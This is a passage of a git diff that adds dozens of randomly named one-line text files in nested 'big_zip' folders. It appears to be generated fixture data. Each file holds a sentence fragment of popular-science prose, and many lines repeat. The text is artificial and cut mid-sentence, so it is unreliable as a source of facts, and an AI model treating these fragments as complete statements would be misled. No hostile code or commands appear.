+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_xbuveelzcmatoatlojxcm.txt
@@ -0,0 +1 @@
+moving platform.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_zhlwsaawztqhg.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_zhlwsaawztqhg.txt
new file mode 100644
index 0000000..64c5e65
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_zhlwsaawztqhg.txt
@@ -0,0 +1 @@
+moving platform.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_zjzaznaeekpbemukk.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_zjzaznaeekpbemukk.txt
new file mode 100644
index 0000000..64c5e65
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_zjzaznaeekpbemukk.txt
@@ -0,0 +1 @@
+moving platform.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_znvcpglabnbdfnztizewaaba.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_znvcpglabnbdfnztizewaaba.txt
new file mode 100644
index 0000000..64c5e65
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/file_znvcpglabnbdfnztizewaaba.txt
@@ -0,0 +1 @@
+moving platform.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/eesrroghvxlmgjrzxgkonir.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/eesrroghvxlmgjrzxgkonir.txt
new file mode 100644
index 0000000..1295695
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/eesrroghvxlmgjrzxgkonir.txt
@@ -0,0 +1 @@
+The choices of f i and f c are more difficult. On the one hand, many individually
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_azfgeddbsuniqnwwudb.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_azfgeddbsuniqnwwudb.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_azfgeddbsuniqnwwudb.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_bywemaexilrnxqrzirjli.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_bywemaexilrnxqrzirjli.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_bywemaexilrnxqrzirjli.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_ccqcrhpoknpoek.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_ccqcrhpoknpoek.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_ccqcrhpoknpoek.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_ebenwnsdgdfy.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_ebenwnsdgdfy.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_ebenwnsdgdfy.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_iokvuqqmimxb.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_iokvuqqmimxb.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_iokvuqqmimxb.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_krjfluruclniowl.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_krjfluruclniowl.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_krjfluruclniowl.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_mqpsaeuedggzifeebehgv.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_mqpsaeuedggzifeebehgv.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_mqpsaeuedggzifeebehgv.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_nfulxpdehzxnxe.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_nfulxpdehzxnxe.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_nfulxpdehzxnxe.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_nvwyfvpqpohdcliemxr.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_nvwyfvpqpohdcliemxr.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_nvwyfvpqpohdcliemxr.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_pstzyuuycxflqiy.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_pstzyuuycxflqiy.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_pstzyuuycxflqiy.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_rbacivnyazevufsgf.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_rbacivnyazevufsgf.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_rbacivnyazevufsgf.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_uxzxcusnhttwhpdyylhr.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_uxzxcusnhttwhpdyylhr.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_uxzxcusnhttwhpdyylhr.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_vvnufevjtbfr.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_vvnufevjtbfr.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_vvnufevjtbfr.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_xihhhmkhaxryhtsvvirmn.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_xihhhmkhaxryhtsvvirmn.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_xihhhmkhaxryhtsvvirmn.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_yepevnihzefudyfmhveagvr.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_yepevnihzefudyfmhveagvr.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_yepevnihzefudyfmhveagvr.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_zmnpctabqkohlpfwfz.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_zmnpctabqkohlpfwfz.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_zmnpctabqkohlpfwfz.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_zvzcbolh.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_zvzcbolh.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_zvzcbolh.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_zxsgfbvgparkwqxb.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_zxsgfbvgparkwqxb.txt
new file mode 100644
index 0000000..6d44dea
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/file_zxsgfbvgparkwqxb.txt
@@ -0,0 +1 @@
+And the morass had created the worm,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/hwtdmqboucjzuyihdwpzaom.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/hwtdmqboucjzuyihdwpzaom.txt
new file mode 100644
index 0000000..1d64fbe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/hwtdmqboucjzuyihdwpzaom.txt
@@ -0,0 +1 @@
+and to that invoked in the explanation of the extinction of the dinosaurs by a supernova explosion a few dozen
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/iperhkjwsr.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/iperhkjwsr.txt
new file mode 100644
index 0000000..93fd5cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/iperhkjwsr.txt
@@ -0,0 +1 @@
+runs in the family.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/jaoxktcjhb.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/jaoxktcjhb.txt
new file mode 100644
index 0000000..0278dee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/jaoxktcjhb.txt
@@ -0,0 +1 @@
+came from an unlikely source. In 1907, Alfred Russel Wallace, co-discoverer of evolution
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/jecekimo.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/jecekimo.txt
new file mode 100644
index 0000000..c435b50
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/jecekimo.txt
@@ -0,0 +1 @@
+in the suppression of disquieting facts, the sense that science should be kept for a small
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/kgimjepswpnwiclsids.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/kgimjepswpnwiclsids.txt
new file mode 100644
index 0000000..1041827
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/kgimjepswpnwiclsids.txt
@@ -0,0 +1 @@
+were accomplished in astronomy and captivated, as the Indians were, by large numbers?Because, some historians declare, they lacked the aptitude or impetus for mechanical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/ktgytlsasyafdnjblhjih.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/ktgytlsasyafdnjblhjih.txt
new file mode 100644
index 0000000..53afd9d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/ktgytlsasyafdnjblhjih.txt
@@ -0,0 +1 @@
+But Lowell’s lifelong love was the planet Mars. He was electrified by the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/megybhwrnihdtjesbgzfy.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/megybhwrnihdtjesbgzfy.txt
new file mode 100644
index 0000000..5e37c3d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/megybhwrnihdtjesbgzfy.txt
@@ -0,0 +1 @@
+Also, I don’t want to be surrounded by a sky of flame. If the skin fell, the night sky would be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/mlbvuolqetcha.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/mlbvuolqetcha.txt
new file mode 100644
index 0000000..e811185
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/mlbvuolqetcha.txt
@@ -0,0 +1 @@
+p 2 is then some number multiplied by 2. Therefore p 2 is an even number. But the square of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/mlcthqil.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/mlcthqil.txt
new file mode 100644
index 0000000..5e518c4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/mlcthqil.txt
@@ -0,0 +1 @@
+drew to them substantial quantities of nearby gas, growing clouds of hydrogen and helium
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/mxzzpwdroaqso.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/mxzzpwdroaqso.txt
new file mode 100644
index 0000000..2fa15c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/mxzzpwdroaqso.txt
@@ -0,0 +1 @@
+in its orbit around Jupiter and is reflected back to space, where some of it strikes the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/pigynwsnfxlzagq.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/pigynwsnfxlzagq.txt
new file mode 100644
index 0000000..c07c714
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/pigynwsnfxlzagq.txt
@@ -0,0 +1 @@
+Zeus was each considered master of the sky and king of the gods. You might decide that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/srrvolaoocqrmmef.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/srrvolaoocqrmmef.txt
new file mode 100644
index 0000000..eba2cc2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/srrvolaoocqrmmef.txt
@@ -0,0 +1 @@
+the seasonal changes in the dark areas were due to the growth and decay of vegetation. He
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/tdvzpjinixikrbkeiin.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/tdvzpjinixikrbkeiin.txt
new file mode 100644
index 0000000..f4d3b18
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/tdvzpjinixikrbkeiin.txt
@@ -0,0 +1 @@
+of the microscope at which he was working. In these gloomy surroundings I stumbled
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/uxobdensarxdokyzk.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/uxobdensarxdokyzk.txt
new file mode 100644
index 0000000..36fa81c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/uxobdensarxdokyzk.txt
@@ -0,0 +1 @@
+times more information than in our genes, and about ten times more than in our brains. If I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/vziawttqsjcxjhrgyqy.txt b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/vziawttqsjcxjhrgyqy.txt
new file mode 100644
index 0000000..024475d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_sxabgsqxvb/folder_gdljustgjn/folder_terjedgqkx/folder_rziyhjknzk/vziawttqsjcxjhrgyqy.txt
@@ -0,0 +1 @@
+universe is a sorry little affair unless it has in it something for every age to investigate . . .
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_arcngmvru.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_arcngmvru.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_arcngmvru.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_bivonznymtifrl.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_bivonznymtifrl.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_bivonznymtifrl.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_cimibzouoru.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_cimibzouoru.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_cimibzouoru.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_ddbjiamctjbhwpan.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_ddbjiamctjbhwpan.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_ddbjiamctjbhwpan.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_fbjtmrzhays.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_fbjtmrzhays.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_fbjtmrzhays.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_hvscaggnpiyytzqok.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_hvscaggnpiyytzqok.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_hvscaggnpiyytzqok.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_jsfefwjrznrv.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_jsfefwjrznrv.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_jsfefwjrznrv.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_mlekwlzwre.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_mlekwlzwre.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_mlekwlzwre.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_mscdumhbep.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_mscdumhbep.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_mscdumhbep.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_njpdbtikgrdgznlwcrd.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_njpdbtikgrdgznlwcrd.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_njpdbtikgrdgznlwcrd.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_nndexyadmctiygywopgcl.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_nndexyadmctiygywopgcl.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_nndexyadmctiygywopgcl.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_odhxlaoufhypcjgdnzzgzdj.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_odhxlaoufhypcjgdnzzgzdj.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_odhxlaoufhypcjgdnzzgzdj.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_owcsmyla.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_owcsmyla.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_owcsmyla.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_plyyjrpgvhpplnugonw.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_plyyjrpgvhpplnugonw.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_plyyjrpgvhpplnugonw.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tbhshnnhwd/file_qgmxcvwplwbbepwmy.txt b/big_zip/big-zip-files/folder_tbhshnnhwd/file_qgmxcvwplwbbepwmy.txt
new file mode 100644
index 0000000..303d63b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tbhshnnhwd/file_qgmxcvwplwbbepwmy.txt
@@ -0,0 +1 @@
+Every edge of a regular solid is shared by the sides of two adjacent polygons. Think
\ No newline at end of file
